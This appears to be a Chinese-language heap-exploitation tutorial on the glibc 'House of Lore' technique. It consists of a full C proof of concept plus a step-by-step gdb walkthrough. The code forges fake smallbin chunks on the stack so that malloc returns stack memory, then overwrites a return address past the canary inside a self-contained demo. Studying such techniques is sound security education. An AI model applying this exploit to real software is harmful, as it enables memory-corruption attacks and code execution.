Overview
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
House Of Lore
这项攻击是基于伪造 small 和 large bins 的攻击,由于保护机制的更新,使得只有 small bin 适用(包括 fast bin),我在 ubuntu 16.04 64bit 上测试了该 poc。
首先在栈上能够控制 7 * size_t
大小的字节。
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
0x7fffffffdd40: 0x00000000 0x00000000 0x00000000 0x00000000 -> stack_buffer_2
0x7fffffffdd50: 0x00000000 0x00000000 0x00400c4d 0x00000000
0x7fffffffdd60: 0x00000000 0x00000000 0x00000000 0x00000000 -> stack_buffer_1
0x7fffffffdd70: 0x00000000 0x00000000 0x00000000 0x00000000
分配一个 small bin 大小的 chunk。
intptr_t *victim = malloc(100);
intptr_t *victim_chunk = victim-2; // 让指针偏移到 chunk 的绝对地址
0x603000: 0x00000000 0x00000000 0x00000071 0x00000000 -> victim
0x603010: 0x00000000 0x00000000 0x00000000 0x00000000
0x603020: 0x00000000 0x00000000 0x00000000 0x00000000
0x603030: 0x00000000 0x00000000 0x00000000 0x00000000
0x603040: 0x00000000 0x00000000 0x00000000 0x00000000
0x603050: 0x00000000 0x00000000 0x00000000 0x00000000
0x603060: 0x00000000 0x00000000 0x00000000 0x00000000
构造栈上的两块 chunk,不用设置大小,将 stack_buffer_1 的 fd 设置成 victim chunk 的地址,bk 设置成 stack_buffer_2 的地址,而 stack_buffer_2 的 fd 则设置成 stack_buffer_1 的地址。
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
0x7fffffffdd40: 0x00000000 0x00000000 0x00000000 0x00000000 -> stack_buffer_2
0x7fffffffdd50: 0xffffdd60 0x00007fff 0x00400c4d 0x00000000
0x7fffffffdd60: 0x00000000 0x00000000 0x00000000 0x00000000 -> stack_buffer_1
0x7fffffffdd70: 0x00603000 0x00000000 0xffffdd40 0x00007fff
分配一块 large chunk 作为 victim 与 top chunk 的隔层,使其不会在 free 后与其合并(只要起隔层作用,small /fast chunk 也行)。
void *p5 = malloc(1000);
释放掉 victim,它首先会被插入到 unsorted bin 中。
free((void*)victim);
0x7ffff7dd1b20 <main_arena>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff7dd1b30 <main_arena+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff7dd1b40 <main_arena+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff7dd1b50 <main_arena+48>: 0x00603000 0x00000000 0x00000000 0x00000000
现在要 malloc 一块当前 unsorted bin 和 small bin 中没有的 chunk(也就是除了 victim 大小之外的 chunk),那么 victim 就会被放到 small bin 中(ubuntu 16.04 环境下测试:若 victim 为 fastbin 大小,则需 malloc 一块 largebin 大小的 chunk;若 victim 为 smallbin,则只需 malloc 一块比 victim 大的 chunk 即可)。
void *p2 = malloc(1200);
0x603000: 0x00000000 0x00000000 0x00000071 0x00000000
0x603010: 0xf7dd1bd8 0x00007fff 0xf7dd1bd8 0x00007fff
0x603020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff7dd1bd0 <main_arena+176>: 0xf7dd1bb8 0x00007fff 0xf7dd1bc8 0x00007fff
0x7ffff7dd1be0 <main_arena+192>: 0xf7dd1bc8 0x00007fff 0x00603000 0x00000000
0x7ffff7dd1bf0 <main_arena+208>: 0x00603000 0x00000000 0xf7dd1be8 0x00007fff
假设可以触发漏洞,改写 victim chunk 的 bk 为 stack_buffer_1 的地址,那么后续的 malloc 则可以获得一块栈上的内存,模拟绕过 stack canary 改写程序返回地址。
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
0x603000: 0x00000000 0x00000000 0x00000071 0x00000000
0x603010: 0xf7dd1bd8 0x00007fff 0xffffdd60 0x00007fff -> stack_buffer_1 address
0x603020: 0x00000000 0x00000000 0x00000000 0x00000000
void *p3 = malloc(100);
0x7ffff7dd1bd8 <main_arena+184>: 0xf7dd1bc8 0x00007fff 0xf7dd1bc8 0x00007fff
0x7ffff7dd1be8 <main_arena+200>: 0x00603000 0x00000000 0xffffdd40 0x00007fff
char *p4 = malloc(100);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
运行结果: